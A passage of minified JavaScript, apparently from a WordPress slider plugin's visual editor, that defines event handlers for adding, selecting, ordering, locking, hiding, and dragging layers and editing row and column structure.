0!==this.value&&""!=this.value){var e=this.value=RVS.F.figureColumnSizes({plain:this.value}).plain;jQuery("#colselector_wrap .colselector").each(function(){e==RVS.F.sanitize_columns(this.dataset.col)?this.className="colselector selected":this.className="colselector"})}}),RVS.DOC.on("addMetaToLayer",function(e,t){window.metatarget=t.eventparam,RVS.F.RSDialog.create({modalid:"rbm_layer_metas",bgopacity:.5}),jQuery("#rbm_layer_metas .rbm_content").RSScroll({wheelPropagation:!1,suppressScrollX:!0})}),RVS.DOC.on("click",".mdl_group_header",function(){var e=jQuery(this).closest(".mdl_group");e.toggleClass("closed")}),RVS.DOC.on("click","#rbm_layer_metas .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".mdl_group_member",function(){if("layer"===window.metatarget){var e=jQuery("#ta_layertext")[0].selectionStart;for(var t in RVS.F.openBackupGroup({id:"insertMeta",txt:"Insert Meta Data",icon:"note_add"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t],a=RVS.S.slideId+".layers."+i+".text",r=RVS.L[i].text.substring(0,e),s=RVS.L[i].text.substring(e,RVS.L[i].text.length);RVS.F.updateSliderObj({path:a,val:r+this.dataset.val+s}),RVS.F.redrawTextLayerInnerHTML(i),RVS.F.drawHTMLLayer({uid:i})}RVS.F.closeBackupGroup({id:"insertMeta"}),RVS.F.updateLayerInputFields()}else{var o=jQuery(window.metatarget),e=o[0].selectionStart,n=o.val().substring(0,e)+this.dataset.val+o.val().substring(e,o.val().length);o.val(n).change(),RVS.F.RSDialog.close()}}),RVS.DOC.on("checkforaudiolayer",RVS.F.checkForAudioLayer),RVS.DOC.on("click",".add_layer",function(e,t){if("import_layers"!==this.id&&"add_from_layerlibrary"!==this.id){var i={type:this.dataset.type,forceSelect:!0,subtype:this.dataset.subtype,evt:this.dataset.evt,libevent:this.dataset.libevent,filter:this.dataset.filter,selected:this.dataset.selected,libfilters:this.dataset.libfilters,extensiongroup:this.dataset.extensiongroup,subsubtype:this.dataset.subsubtype};if(void 0!==this.dataset.fromobjlib){var a=null==i.libfilters?["all"]:i.libfilters.split(",");i.filter="undefined"==i.filter||null==i.filter?"all":i.filter,i.selected=["undefined"==i.selected||null==i.selected?a[0]:i.selected],i.success={custom:null==i.libevent?i.success:i.libevent},i.extension=i.extensiongroup,RVS.F.openObjectLibrary(i)}else{var r=RVS.F.addLayer(i);RVS.F.intelligentUpdateValuesOnLayer(r),RVS.F.selectLayers({id:r,overwrite:!0,action:"add"})}}}),RVS.DOC.on("click","#do_delete_layer",function(e){RVS.DOC.trigger("do_delete_layer")}),RVS.DOC.on("click",".all_layer_selector",function(){return RVS.DOC.trigger("do_select_all_layer"),!1}),RVS.DOC.on("click","#do_duplicate_layer",function(){RVS.DOC.trigger("do_duplicate_layer")}),RVS.DOC.on("click","#do_copy_layer",function(){RVS.DOC.trigger("do_copy_layer")}),RVS.DOC.on("click","#do_paste_layer",function(){RVS.DOC.trigger("do_paste_layer")}),RVS.DOC.on("mouseenter","#do_background_layer, #do_foreground_layer",function(){var e=RVS.selLayers[0];void 0!==RVS.H[e]&&tpGS.gsap.set(RVS.H[e].w,{zIndex:RVS.L[e].position.zIndex})}),RVS.DOC.on("mouseleave","#do_background_layer, #do_foreground_layer",function(){RVS.F.updateSelectedHtmlLayers()}),RVS.DOC.on("click","#do_background_layer",function(){var e=RVS.selLayers[0],t=RVS.F.getLayerAfterZIndex(e);switch(RVS.L[e].type){case"row":void 0!==t?RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}):"top"===RVS.L[e].group.puid?RVS.F.sortLayer({layer:e,target:"zone",env:"middle",redraw:!0}):"middle"===RVS.L[e].group.puid&&RVS.F.sortLayer({layer:e,target:"zone",env:"bottom",redraw:!0});break;case"column":void 0!==t&&RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0});break;default:-1===jQuery.inArray(t,["top","bottom","middle"])&&void 0!==RVS.L[e].group&&-1!==RVS.L[e].group.puid&&"column"===RVS.L[RVS.L[e].group.puid].type?(t=RVS.F.getPrevNextLayerInOrder(e,"next"))!==e&&RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}):void 0!==t&&(t="top"===t||"middle"===t?"bottom":t,RVS.F.sortLayer({layer:e,target:"after",env:t,redraw:!0}))}}),RVS.DOC.on("click","#do_foreground_layer",function(){var e=RVS.selLayers[0],t=RVS.F.getLayerBeforeZIndex(e);switch(RVS.L[e].type){case"row":void 0!==t?RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}):"bottom"===RVS.L[e].group.puid?RVS.F.sortLayer({layer:e,target:"zonebottom",env:"middle",redraw:!0}):"middle"===RVS.L[e].group.puid&&RVS.F.sortLayer({layer:e,target:"zonebottom",env:"top",redraw:!0});break;case"column":void 0!==t&&RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0});break;default:-1===jQuery.inArray(t,["top","bottom","middle"])&&void 0!==RVS.L[e].group&&-1!==RVS.L[e].group.puid&&"column"===RVS.L[RVS.L[e].group.puid].type?(t=RVS.F.getPrevNextLayerInOrder(e,"prev"))!==e&&RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}):void 0!==t&&(t="bottom"===t||"middle"===t?"top":t,RVS.F.sortLayer({layer:e,target:"before",env:t,redraw:!0}))}}),RVS.F.clearKeyDowns=function(){window.cmdctrldown=!1,window.shiftdown=!1,window.altdown=!1},window.addEventListener("blur",RVS.F.clearKeyDowns),window.addEventListener("focus",RVS.F.clearKeyDowns),RVS.DOC.on("keydown",function(e){window.shiftdown=e.shiftKey,window.altdown=e.altKey;var t=!1,i=window.shiftdown?10:1;if(("MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey)&&(window.cmdctrldown=!0),RVS.S.builderHover&&("none"===RVS.S.inFocus||void 0===RVS.S.inFocus)){if(!window.shiftdown||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||RVS.DOC.trigger("squareselection"),!window.cmdctrldown||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||RVS.DOC.trigger("cursorselectionadd"),"MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey)switch(e.keyCode){case 65:return RVS.DOC.trigger("do_select_all_layer"),!1;case 67:RVS.DOC.trigger("do_copy_layer");break;case 86:RVS.DOC.trigger("do_paste_layer");break;case 74:!0!==window.altdown&&RVS.DOC.trigger("do_duplicate_layer");break;case 79:var a=document.getElementById("magnet_fr_sticky_inh");a.checked=!0,t=!0;break;case 73:var a=document.getElementById("magnet_fr_sticky");a.checked=!0,t=!0;break;case 85:var a=document.getElementById("magnet_fr_none");a.checked=!0,t=!0}switch(e.keyCode){case 8:case 46:return RVS.DOC.trigger("do_delete_layer"),!1;case 37:return RVS.F.moveLayerByKeys({x:-1*i,y:0}),!1;case 39:return RVS.F.moveLayerByKeys({x:1*i,y:0}),!1;case 38:return RVS.F.moveLayerByKeys({x:0,y:-1*i}),!1;case 40:return RVS.F.moveLayerByKeys({x:0,y:1*i}),!1}}if(t)return e.preventDefault(),!1}),RVS.DOC.on("keyup",function(e){window.shiftdown=e.shiftKey,window.altdown=e.altKey,window.cmdctrldown="MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey,window.shiftdown||window.cmdctrldown||RVS.DOC.trigger("cursorselection"),window.moveByKeyboard&&(RVS.F.closeBackupGroup({id:"LayerPosition"}),window.moveByKeyboard=!1)}),RVS.DOC.on("click",".ui_free_layers, .ui_top_row_layers",function(){var e=jQuery(this);e.toggleClass("selected"),e.hasClass("selected")?(jQuery("#rev_builder_inner").removeClass(this.dataset.realref),jQuery("#timeline").removeClass(this.dataset.ref)):(jQuery("#rev_builder_inner").addClass(this.dataset.realref),jQuery("#timeline").addClass(this.dataset.ref))}),RVS.DOC.on("click dblclick","._lc_",function(e){if(void 0!==RVS.S.inFocus&&"none"!==RVS.S.inFocus&&RVS.S.inFocus.history&&RVS.S.inFocus.value&&RVS.S.inFocus.history!=RVS.S.inFocus.value&&jQuery(RVS.S.inFocus).trigger("change"),"click"===e.type&&RVS.S.clickedLayer===this.dataset.uid&&void 0!==RVS.S.clickOnLayerTimer&&e.timeStamp-RVS.S.clickOnLayerTimer<800)return!1;if(RVS.S.clickOnLayerTimer=e.timeStamp,RVS.S.clickedLayer=this.dataset.uid,RVS.F.selectLayers({id:this.dataset.uid,overwrite:!window.RS_sel_and_add&&!window.cmdctrldown,action:"add",ignoreUpdate:!1}),-1!==RVS.L[this.dataset.uid].group.puid&&"row"!==RVS.L[this.dataset.uid].type){var t=RVS.L[this.dataset.uid].group.puid;jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+t).removeClass("collapsed"),-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type&&jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[t].group.puid).removeClass("collapsed"),RVS.F.saveCollapsedGroups()}if("dblclick"===e.type)switch(RVS.F.openSettings({forms:["*slidelayout**mode__slidecontent*#form_layer_content"],uncollapse:!0}),RVS.L[this.dataset.uid].type){case"text":case"button":jQuery("#ta_layertext").trigger("focus");break;case"image":"objectlibrary"===RVS.L[this.dataset.uid].media.imageLib?jQuery("#image_layer_object_library_button").trigger("click"):jQuery("#image_layer_media_library_button").trigger("click");break;case"svg":RVS.F.openObjectLibrary({types:["fonticons","svgs","svgcustom"],filter:"all",selected:["svgs"],success:{icon:"insertContentFromOL"}})}return 1===RVS.selLayers.length&&RVS.F.layerListScrollable("scrollToSelected"),RVS.DOC.trigger("layerselectioncomplete",[this]),!1}),RVS.DOC.on("dblclick","._lc_",function(){return RVS.F.selectLayers({id:this.dataset.uid,overwrite:!window.RS_sel_and_add,action:"add",ignoreUpdate:!1}),!1}),RVS.DOC.on("mouseenter",".layerlist_element",function(){-1==jQuery.inArray(this.dataset.id,["top","bottom","middle"])&&RVS.H[this.dataset.id].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".layerlist_element",function(){-1==jQuery.inArray(this.dataset.id,["top","bottom","middle"])&&RVS.H[this.dataset.id].w.removeClass("hoveredinlist")}),RVS.DOC.on("click","#unlock_all_layer",function(){for(var e in RVS.L)if(void 0!==RVS.L[e].visibility&&RVS.L[e].visibility.locked){RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".visibility.locked",val:!1}),RVS.H[e].w.removeClass("_locked_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e);t.className=t.className.replace(" _locked_","")}RVS.F.checkLockedLayers()}),RVS.DOC.on("click",".unlock_single_layerm",function(){RVS.F.lockUnlockLayer({uid:this.dataset.uid,val:!1}),RVS.F.checkLockedLayers()}),RVS.DOC.on("click",".layer_current_locked",function(){RVS.F.lockUnlockLayer({uid:this.dataset.uid}),RVS.F.checkLockedLayers()}),RVS.DOC.on("click","#visible_all_layer",function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&void 0!==RVS.L[e].visibility&&!1===RVS.L[e].visibility.visible){RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".visibility.visible",val:!0}),RVS.H[e].w.removeClass("_unvisible_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e);t.className=t.className.replace(" _unvisible_","")}RVS.F.checkShowHideLayers()}),RVS.DOC.on("click","#toggle_lock_layer",function(){RVS.F.lockUnlockLayers()}),RVS.DOC.on("click","#toggle_visible_layer",function(){RVS.F.showHideLayers({uid:this.dataset.uid})}),RVS.DOC.on("click","#hide_highlight_boxes",function(){jQuery(this).toggleClass("selected"),RVS.C.theEditor.toggleClass("nohiglightboxes")}),RVS.DOC.on("click",".visible_single_layer",function(){return RVS.F.showHideLayer({uid:this.dataset.uid,val:!0}),RVS.F.checkShowHideLayers(),!1}),RVS.DOC.on("click"," .layer_current_visibility",function(){return RVS.F.showHideLayer({uid:this.dataset.uid}),RVS.F.checkShowHideLayers(),!1}),RVS.DOC.on("mouseenter",".visible_single_layer",function(e){RVS.H[this.dataset.uid].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".visible_single_layer",function(e){RVS.H[this.dataset.uid].w.removeClass("hoveredinlist")}),RVS.DOC.on("mouseenter",".unlock_single_layer",function(e){RVS.H[this.dataset.uid].w.addClass("hoveredinlist")}),RVS.DOC.on("mouseleave",".unlock_single_layer",function(e){RVS.H[this.dataset.uid].w.removeClass("hoveredinlist")}),RVS.DOC.on("mousedown","#selectbydraw",function(e){RVS.WIN.scrollTop(0);var t=jQuery("#selectbydraw");t.append('<div id="selectbydraw_box"></div>'),RVS.F.updateContentDeltas(),RVS.S.click.y=e.clientY+RVS.S.rb_ScrollY,RVS.S.click.x=e.clientX+RVS.S.rb_ScrollX,window.scrollCacheY=RVS.S.rb_ScrollY,window.scrollCacheX=RVS.S.rb_ScrollX,window.selectbydraw=1,RVS.F.selectLayers({overwrite:!0})}),RVS.DOC.on("mouseup","#selectbydraw",function(e){jQuery("#selectbydraw").remove(),jQuery("#select_by_cursor").trigger("click"),RVS.F.selectLayers({}),window.selectbydraw=0}),RVS.DOC.on("mousemove","#selectbydraw",function(e){if(1===window.selectbydraw){var t=jQuery("#selectbydraw");RVS.S.DaD.dragdelta.x=e.clientX+RVS.S.rb_ScrollX-RVS.S.click.x,RVS.S.DaD.dragdelta.y=e.clientY+RVS.S.rb_ScrollY-RVS.S.click.y;var i={x:RVS.S.click.x,y:RVS.S.click.y};i.x=RVS.S.DaD.dragdelta.x<0?i.x+RVS.S.DaD.dragdelta.x:i.x,i.y=RVS.S.DaD.dragdelta.y<0?i.y+RVS.S.DaD.dragdelta.y:i.y;var a={top:i.y,left:i.x,right:i.x+Math.abs(RVS.S.DaD.dragdelta.x),bottom:i.y+Math.abs(RVS.S.DaD.dragdelta.y)},r=t.offset();for(var s in tpGS.gsap.set("#selectbydraw_box",{top:i.y,left:i.x,width:Math.abs(RVS.S.DaD.dragdelta.x),height:Math.abs(RVS.S.DaD.dragdelta.y)}),RVS.H)if(RVS.H.hasOwnProperty(s)){var o={top:RVS.H[s].w.offset().top-r.top,left:RVS.H[s].w.offset().left-r.left};o.right=o.left+RVS.H[s].w.width(),o.bottom=o.top+RVS.H[s].w.height(),RVS.L[s].visibility.locked||!RVS.L[s].visibility.visible?RVS.F.selectLayers({id:s,overwrite:!1,action:"remove",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0}):!(o.left>a.left&&o.left<a.right&&o.top>a.top&&o.top<a.bottom||o.right>a.left&&o.right<a.right&&o.top>a.top&&o.top<a.bottom||o.left>a.left&&o.left<a.right&&o.bottom>a.top&&o.bottom<a.bottom||o.right>a.left&&o.right<a.right&&o.bottom>a.top&&o.bottom<a.bottom||a.left>o.left&&a.left<o.right&&a.top>o.top&&a.top<o.bottom||a.right>o.left&&a.right<o.right&&a.top>o.top&&a.top<o.bottom||a.left>o.left&&a.left<o.right&&a.bottom>o.top&&a.bottom<o.bottom||a.right>o.left&&a.right<o.right&&a.bottom>o.top&&a.bottom<o.bottom||a.top<o.top&&a.bottom>o.bottom&&a.left>o.left&&a.right<o.right||a.top>o.top&&a.bottom<o.bottom&&a.left<o.left&&a.right>o.right)||a.left>o.left&&a.right<o.right&&a.top>o.top&&a.bottom<o.bottom?RVS.F.selectLayers({id:s,overwrite:!1,action:"remove",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0}):RVS.F.selectLayers({id:s,overwrite:!1,action:"add",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0})}}}),RVS.DOC.on("mousemove","#dropSensor",function(e){1===RVS.S.DaD.dropSensor&&requestAnimationFrame(function(){if(RVS.S.dragging){RVS.S.realDragHappen=!0,RVS.S.rb_ScrollX===window.scrollMem.x&&RVS.S.rb_ScrollY===window.scrollMem.y||c();var t,i=jQuery("#dropSensor"),a={x:e.clientX-15,y:e.clientY-65},r=i.offset();RVS.S.DaD.dropTimer=0,RVS.S.DaD.targetBefore=RVS.S.DaD.target,RVS.S.DaD.target={},RVS.S.DaD.dropParentPos={x:0,y:0},clearTimeout(RVS.S.DaD.timer);var s=!1;for(var o in RVS.H)if(RVS.H.hasOwnProperty(o)&&(d(o),void 0===RVS.H[o].coor&&(RVS.H[o].coor={top:RVS.H[o].w.offset().top-r.top-RVS.S.rb_ScrollY,left:RVS.H[o].w.offset().left-r.left-RVS.S.rb_ScrollX,width:RVS.H[o].w.outerWidth(),height:RVS.H[o].w.outerHeight()},RVS.H[o].coor.right=RVS.H[o].coor.left+RVS.H[o].coor.width*RVS.zoom,RVS.H[o].coor.center=RVS.H[o].coor.left+RVS.H[o].coor.width*RVS.zoom/2,RVS.H[o].coor.bottom=RVS.H[o].coor.top+RVS.H[o].coor.height*RVS.zoom,RVS.H[o].coor.middle=RVS.H[o].coor.top+RVS.H[o].coor.height*RVS.zoom/2),null!=RVS.L[o]&&void 0!==RVS.L[o].visibility&&RVS.L[o].visibility.visible&&!RVS.L[o].visibility.locked&&(void 0===RVS.L[o].group.puid||-1===RVS.L[o].group.puid||void 0===RVS.L[RVS.L[o].group.puid]||void 0===RVS.L[RVS.L[o].group.puid].visibility||RVS.L[RVS.L[o].group.puid].visibility.visible&&!RVS.L[RVS.L[o].group.puid].visibility.locked))){var n=-1;if(a.x>=RVS.H[o].coor.left&&a.x<=RVS.H[o].coor.right&&a.y>=RVS.H[o].coor.top&&a.y<=RVS.H[o].coor.bottom){if(RVS.F.isParent(RVS.S.DaD.currentLayerId,o))continue;if(t=void 0!==RVS.S.DaD.lastGroupParent&&RVS.S.DaD.lastGroupParent===o?474:void 0!==RVS.S.DaD.target.groupID&&-1!==RVS.S.DaD.target.groupID?RVS.L[RVS.S.DaD.target.groupID].position.zIndex:-1!==RVS.S.DaD.target.puid&&void 0!==RVS.S.DaD.target.puid?RVS.L[RVS.S.DaD.target.puid].position.zIndex:RVS.L[o].position.zIndex,void 0!==RVS.S.DaD.target.zIndex&&RVS.S.DaD.target.zIndex>=t&&(-1==RVS.L[o].group.puid||null==RVS.L[o].group.puid))continue;if("group"===RVS.L[o].type&&RVS.L[o].visibility.visible){if(RVS.S.DaD.target.type=RVS.L[o].type,RVS.S.DaD.target.rowID="group",-1!==n&&-1==RVS.L[o].group.puid)continue;n=RVS.L[o].group.puid,RVS.S.DaD.target.groupID=RVS.L[o].group.puid,RVS.S.DaD.target.columnID=RVS.S.DaD.toContainerID=o,RVS.S.DaD.target.columnType=RVS.S.DaD.toContainerType="group",RVS.S.DaD.target.columnTop=!0,RVS.S.DaD.target.zIndex=t,s="group"}else"column"===RVS.L[o].type&&RVS.L[o].visibility.visible&&"group"!==s?(RVS.S.DaD.target.type=RVS.L[o].type,RVS.S.DaD.target.groupID=RVS.L[o].group.puid,RVS.S.DaD.target.rowID=RVS.L[o].group.puid,RVS.S.DaD.target.columnID=RVS.S.DaD.toContainerID=o,RVS.S.DaD.target.columnType=RVS.S.DaD.toContainerType="column",RVS.S.DaD.target.columnTop=a.y<=RVS.H[o].coor.middle,RVS.S.DaD.target.zIndex=t,s="column"):"group"!==s&&"row"!==RVS.L[o].type&&o!=RVS.S.DaD.currentLayerId&&("group"!==RVS.S.DaD.target.columnType||"column"!==RVS.S.DaD.target.columnType&&"absolute"!==RVS.S.DaD.draggedPosType||"relative"==RVS.L[RVS.S.DaD.currentLayerId].position.position&&"relative"==RVS.L[o].position.position)&&(RVS.S.DaD.target.type=RVS.L[o].type,RVS.S.DaD.target.elementID=o,RVS.S.DaD.target.puid=RVS.L[o].group.puid,RVS.S.DaD.target.elementMiddle=RVS.H[o].coor.middle,RVS.S.DaD.target.elementBefore=a.y<=RVS.H[o].coor.middle,RVS.S.DaD.target.zIndex=t)}}var l=RVS.S.DaD.lastGroupParent;if(delete RVS.S.DaD.lastGroupParent,"group"===RVS.S.DaD.target.rowID&&(RVS.S.DaD.lastGroupParent=RVS.S.DaD.target.columnID,RVS.F.setZindex({id:RVS.S.DaD.lastGroupParent,o:474})),void 0!==l&&RVS.S.DaD.lastGroupParent!==l&&RVS.F.setZindex({id:l}),void 0!==RVS.S.DaD.target&&("group"===RVS.S.DaD.target.rowID||"column"==RVS.S.DaD.target.type&&"absolute"==RVS.S.DaD.draggedPosType||"column"!==RVS.S.DaD.target.type&&null!=RVS.S.DaD.target.columnID&&void 0!==RVS.S.DaD.target.columnType&&"absolute"==RVS.S.DaD.draggedPosType)&&("column"==RVS.S.DaD.target.type&&"absolute"==RVS.S.DaD.draggedPosType&&(RVS.H[RVS.S.DaD.target.columnID].w_offset=RVS.H[RVS.S.DaD.target.columnID].w.offset()),RVS.S.DaD.dropParentPos.x=RVS.H[RVS.S.DaD.target.columnID].w_offset.left,RVS.S.DaD.dropParentPos.y=RVS.H[RVS.S.DaD.target.columnID].w_offset.top),"absolute"!==RVS.S.DaD.draggedPosType&&void 0!==RVS.S.DaD.targetBefore&&void 0===RVS.S.DaD.target.elementID&&void 0!==RVS.S.DaD.target.columnID&&RVS.S.DaD.target.columnID===RVS.S.DaD.targetBefore.columnID){var p=RVS.F.getLayerChildren({layerid:RVS.S.DaD.target.columnID}),u=[],R=0,V=1e4;for(var o in p)p.hasOwnProperty(o)&&("group"!=RVS.S.DaD.target.columnType&&"column"!=RVS.S.DaD.target.columnType||"relative"==RVS.L[RVS.S.DaD.currentLayerId].position.position&&"relative"===RVS.L[o].position.position)&&o!=RVS.S.DaD.currentLayerId&&(RVS.H[o].coor.bottom<a.y||RVS.H[o].coor.middle<=a.y&&RVS.H[o].coor.bottom>=a.y)&&(u.push(o),R=R<RVS.H[o].coor.bottom?RVS.H[o].coor.bottom:R);for(var y in u)if(u.hasOwnProperty(y)){var o=u[y];R<=RVS.H[o].coor.bottom&&V>Math.abs(RVS.H[o].coor.center-a.x)&&(V=Math.abs(RVS.H[o].coor.center-a.x),RVS.S.DaD.target.elementID=o,RVS.S.DaD.target.elementBefore=!1)}}else void 0!==RVS.S.DaD.target.elementID&&void 0!==RVS.S.DaD.target.columnID&&-1==RVS.S.DaD.target.puid&&(RVS.S.DaD.target.elementID=void 0);void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow===RVS.S.DaD.target.rowID?(RVS.S.DaD.target.into="column",RVS.S.DaD.toContainerID=RVS.S.DaD.target.columnID,RVS.S.DaD.toContainerType=RVS.S.DaD.target.columnType,clearTimeout(RVS.S.DaD.timerLeaveRow),RVS.S.DaD.timerLeaveRowStarted=!1,S()):(RVS.S.DaD.toContainerType="root",RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerID=-1,S()),void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow!==RVS.S.DaD.target.rowID&&void 0!==RVS.S.DaD.target.rowID&&(RVS.S.DaD.timer=setTimeout(function(){RVS.S.DaD.lastRegisteredRow=RVS.S.DaD.target.rowID,void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow===RVS.S.DaD.target.rowID?(RVS.S.DaD.lastRegisteredRowBefore&&-1!==RVS.S.DaD.lastRegisteredRowBefore&&"group"!==RVS.S.DaD.lastRegisteredRowBefore&&(RVS.H[RVS.S.DaD.lastRegisteredRowBefore].w[0].className=RVS.H[RVS.S.DaD.lastRegisteredRowBefore].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),clearTimeout(RVS.S.DaD.timerLeaveRow),RVS.S.DaD.timerLeaveRowStarted=!1,RVS.S.DaD.target.into="column",RVS.S.DaD.toContainerID=RVS.S.DaD.target.columnID,RVS.S.DaD.toContainerType=RVS.S.DaD.target.columnType,S(),RVS.F.updateDraggedWidth(!0)):(RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerType="root",RVS.S.DaD.toContainerID=-1,S()),RVS.S.DaD.lastRegisteredRowBefore=RVS.S.DaD.lastRegisteredRow},250)),!0!==RVS.S.DaD.timerLeaveRowStarted&&-1!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow!==RVS.S.DaD.target.rowID&&void 0===RVS.S.DaD.target.rowID&&(RVS.S.DaD.timerLeaveRowStarted=!0,RVS.S.DaD.timerLeaveRow=setTimeout(function(){-1!==RVS.S.DaD.lastRegisteredRow&&"group"!==RVS.S.DaD.lastRegisteredRow&&(RVS.H[RVS.S.DaD.lastRegisteredRow].w[0].className=RVS.H[RVS.S.DaD.lastRegisteredRow].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),RVS.S.DaD.lastRegisteredRow=-1,RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerType="root",RVS.S.DaD.toContainerID=-1,RVS.S.DaD.timerLeaveRowStarted=!1,S()},500))}})}),RVS.DOC.on("updateLayerPosition",function(){for(var e in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.selLayers[e];RVS.F.updateHTMLLayerPosition({uid:t,updateValues:!1,lhCwidth:RVS.H[t].c.outerWidth(),lhCheight:RVS.H[t].c.outerHeight()})}}),RVS.DOC.on("intelligentInheritUpdate",function(e,t){for(var i in void 0!==t&&(!0===t.val?RVS.F.setToIntelligentUpdate():RVS.F.disableIntelligentUpdate()),RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}),RVS.DOC.on("inheritValuesFromDesktop",function(e,t){RVS.F.resetLayersDeviceSizesToDesktop()}),RVS.DOC.on("resetIntelligentInherits",function(e,t){RVS.F.resetIntelligentInherits()}),RVS.DOC.on("updateAllInheritedSize",function(e,t){RVS.F.updateAllInheritedSize()}),RVS.DOC.on("updateColumnStructure",function(){RVS.F.openBackupGroup({id:"RowStructure",txt:"Change Row(s) Structure",icon:"view_column"});var e=RVS.F.figureColumnSizes({plain:jQuery("#row_column_structure").val()});for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i="column"===RVS.L[RVS.selLayers[t]].type?RVS.L[RVS.selLayers[t]].group.puid:RVS.selLayers[t];if("row"===RVS.L[i].type){var a=RVS.F.getColumnsInRow({layerid:i});if(a.length>e.cols.length)for(var r=a[e.cols.length-1],s=a.length-1;s>=e.cols.length;s--)RVS.F.deleteLayerfromLayers({layerid:a[s],newpuid:r});else if(a.length<e.cols.length)for(var s=a.length;s<e.cols.length;s++)RVS.F.addLayerToLayers({type:"column",puid:i,alias:"column"});a=RVS.F.getColumnsInRow({layerid:i});for(var s=0;s<a.length;s++){var o=RVS.S.slideId+".layers."+a[s]+".group.columnSize";RVS.F.updateSliderObj({path:o,val:e.cols[s]})}}}RVS.F.closeBackupGroup({id:"RowStructure"}),RVS.F.buildLayerLists({force:!0}),RVS.F.reOrderHTMLLayers()}),RVS.DOC.on("updateLayerAliasFromSingleInput",function(e,t){null!=t.layerid&&(document.getElementById("layerlist_element_alias_"+RVS.S.slideId+"_"+t.layerid).innerHTML=RVS.L[t.layerid].alias,document.getElementById("layerlist_element_alias_input_"+RVS.S.slideId+"_"+t.layerid).value=RVS.L[t.layerid].alias,"group"===RVS.L[t.layerid].type&&(document.getElementById("_group_head_title_"+RVS.S.slideId+"_"+t.layerid).innerHTML=RVS.L[t.layerid].alias))}),RVS.DOC.on("udateAbsoluteRelativePosition",function(e,t){t.layerid}),RVS.DOC.on("do_select_all_layer",function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&RVS.F.selectLayers({id:e,overwrite:!1,action:"add",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0});RVS.F.selectLayers({})}),RVS.DOC.on("do_delete_layer",function(){RVS.DOC.trigger("previewStopLayerAnimation"),RVS.F.openBackupGroup({id:"removeLayer",txt:"Remove Multiple Layers",icon:"delete",lastkey:"layer"});var e,t=[],i=[];for(var a in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a];-1==RVS.L[r].group.puid?t.push(r):"row"!==RVS.L[r].type&&"column"!==RVS.L[r].type||(e="row"===RVS.L[r].type?r:RVS.L[r].group.puid,-1===jQuery.inArray(e,i)&&i.push(e),t.push(r))}for(var a in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a];if(-1!==RVS.L[r].group.puid&&"column"!==RVS.L[r].type&&"row"!==RVS.L[r].type){var s="column"===RVS.L[RVS.L[r].group.puid].type?RVS.L[RVS.L[r].group.puid].group.puid:RVS.L[r].group.puid;-1===jQuery.inArray(s,t)&&t.push(r)}}for(var o in t)t.hasOwnProperty(o)&&RVS.F.deleteLayerfromLayers({layerid:t[o]});if(i.length>0)for(var o in i)i.hasOwnProperty(o)&&void 0!==RVS.L[i[o]]&&(0===RVS.F.getColumnsInRow({layerid:i[o]}).length?RVS.F.deleteLayerfromLayers({layerid:i[o]}):RVS.F.fixColumnsInRows({layerid:i[o]}));RVS.F.closeBackupGroup({id:"removeLayer"}),RVS.F.buildLayerLists({force:!0})}),RVS.DOC.on("updateColumnBreak",function(e,t){RVS.F.openBackupGroup({id:"ColumnBreak",txt:"Row Breakpoint",icon:"layers",lastkey:"layer"});var i=[];for(var a in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)&&("row"===RVS.L[RVS.selLayers[a]].type||"column"===RVS.L[RVS.selLayers[a]].type)){var r="column"===RVS.L[RVS.selLayers[a]].type?RVS.L[RVS.selLayers[a]].group.puid:RVS.selLayers[a],s=RVS.S.slideId+".layers."+r+".";RVS.F.updateSliderObj({path:s+"group.columnbreakat",val:t.val}),i.push(r)}for(var o in RVS.F.closeBackupGroup({id:"ColumnBreak"}),i)if(i.hasOwnProperty(o)){var 